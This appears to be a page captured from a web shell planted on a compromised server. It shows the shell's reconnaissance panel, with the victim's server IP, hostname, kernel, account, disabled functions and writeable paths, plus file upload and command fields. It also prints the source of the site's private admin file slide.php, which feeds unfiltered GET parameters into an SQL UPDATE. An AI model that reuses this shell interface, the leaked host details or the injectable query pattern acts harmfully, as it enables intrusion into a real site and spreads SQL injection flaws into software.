403Webshell
Server IP : 103.233.193.20  /  Your IP : 216.73.216.169
Web Server : Apache/2
System : Linux host1.itclever.com 4.18.0-553.16.1.el8_10.x86_64 #1 SMP Thu Aug 8 17:47:08 UTC 2024 x86_64
User : oriscomadm ( 1120)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/oriscomadm/domains/oriscom.com/private_html/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/oriscomadm/domains/oriscom.com/private_html/admin/slide.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ระบบหลังร้าน</title>
<link type="text/css" rel="stylesheet" href="css/common.css">
<link type="text/css" rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="../css/style-pager.css" />
<script language="javascript">
function Confirm(object){
	if(confirm('You are Sure DELETE')==true){
		return true;
	}
		return false;		
}
</script>
<?php include'../include/class-pager.php'?>
</head>

<body id="admin">
	<div id="wrapper_admin">
		<?php require_once("include/header.php"); ?>
		<div id="wrapper_centent">
			<div id="manage_button">
            <input name="" type="button" class="btn_big" value="เพิ่มภาพสไลด์" onclick="window.location='slide_add.php'" />
        	</div>
			<table width="100%" border="0" cellspacing="0" cellpadding="0" class="tbl">
				  <tr class="head_tbl">
					<td width="3%">No.</td>
					<td width="55%">Picture</td>
					<td width="26%">Show In Page</td>
					<td width="8%">Show/Hide</td>
					<td width="8%"></td>
				  </tr>
          		<?php
				if($_GET['sh']){
					mysql_query("UPDATE slide SET shows='".$_GET['sh']."' WHERE id='".$_GET['id']."'");
				}
				$sql = "SELECT * FROM slide";
				$sqlquery = mysql_query($sql) or die ("error [".$sql."]");
				$Num_Rows = mysql_num_rows($sqlquery);
				$Per_Page = 10;
				
				$Page = $_GET["Page"];
				if(!$_GET["Page"])
				{
					$Page=1;
				}
				
				$Prev_Page = $Page-1;
				$Next_Page = $Page+1;
				
				$Page_Start = (($Per_Page*$Page)-$Per_Page);
				if($Num_Rows<=$Per_Page)
				{
					$Num_Pages =1;
				}
				else if(($Num_Rows % $Per_Page)==0)
				{
					$Num_Pages =($Num_Rows/$Per_Page) ;
				}
				else
				{
					$Num_Pages =($Num_Rows/$Per_Page)+1;
					$Num_Pages = (int)$Num_Pages;
				}
				$sql.= " ORDER BY shows DESC,sort ASC,id ASC LIMIT $Page_Start,$Per_Page";
				$rs = mysql_query($sql);
				$i=0;
				while($arr = mysql_fetch_array($rs)){
					$i++;
				$Lv = explode(',',$arr['level']);
				$page = array("about"=>1,"career"=>2,"contact"=>3);
					if($arr['shows']==0){$show='<a href="?sh=1&id='.$arr['id'].'"><font color="#C70003">ซ่อน</font></a>';}
					if($arr['shows']==1){$show='<a href="?sh=00&id='.$arr['id'].'"><font color="#00CB30">แสดง</font></a>';}
				?>       
				  <tr>
					<td><?php echo $i?></td>
					<td><div align="left"><img src="<?php echo PATH?>/<?php echo $arr['image']?>" width="600" /></div></td>
					<td>
						<?php
						foreach($page as $Page=>$index)
						{
							if($Lv[0]==$Page && $Lv[1]==$index)
							{
							echo $Page;
							}
						}

						$ResultProduct_I = $Class->selectProduct_I(null);
						foreach($ResultProduct_I as $Level1){
							if($Lv[0]=="L1" && $Lv[1]==$Level1['id'])
							echo $Level1['nameth'];
						}
		
						$ResultProduct_II = $Class->selectProduct_II(null,null);
						foreach($ResultProduct_II as $Level2){
							if($Lv[0]=="L2" && $Lv[1]==$Level2['id'])
							echo $Level2['nameth'];
						}
		
						$ResultProduct_III = $Class->selectProduct_III(null,null);
						foreach($ResultProduct_III as $Level3){
							if($Lv[0]=="L3" && $Lv[1]==$Level3['id'])
							echo $Level3['nameth'];
						}
		
						$ResultProduct_IV = $Class->selectProduct_IV(null,null);
						foreach($ResultProduct_IV as $Level4){
							if($Lv[0]=="L4" && $Lv[1]==$Level4['id'])
						   echo$Level4['nameth'];
						}
		
						$ResultProduct_V = $Class->selectProduct_V(null,null);
						foreach($ResultProduct_V as $Level5){
							if($Lv[0]=="L5" && $Lv[1]==$Level5['id'])
							echo $Level5['nameth'];
						}
                        ?>
                    </td>
					<td><?php echo $show?></td>
					<td>
						<span class="edit"><a href="slide_edit.php?id=<?php echo $arr['id']?>"><img src="images/edit.png" height="24" title="แก้ไข" /></a></span>  
						<span class="delete"><a href="function.php?ac=slide_del&id=<?php echo $arr['id']?>" onclick="return Confirm(this);"><img src="images/delete.png" height="24" title="ลบ" /></a></span>
					</td>
				  </tr>
                 <?php }?>
			</table>
            <br />
            <div align="right">
			<?php
            $pages = new Paginator;
            $pages->items_total = $Num_Rows;
            $pages->mid_range = 10;
            $pages->current_page = $Page;
            $pages->default_ipp = $Per_Page;
            $pages->url_next = $_SERVER["PHP_SELF"]."?id=".$_GET['id']."&Page=";
            $pages->paginate();
            echo $pages->display_pages()
            ?>
			</div>
		</div>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit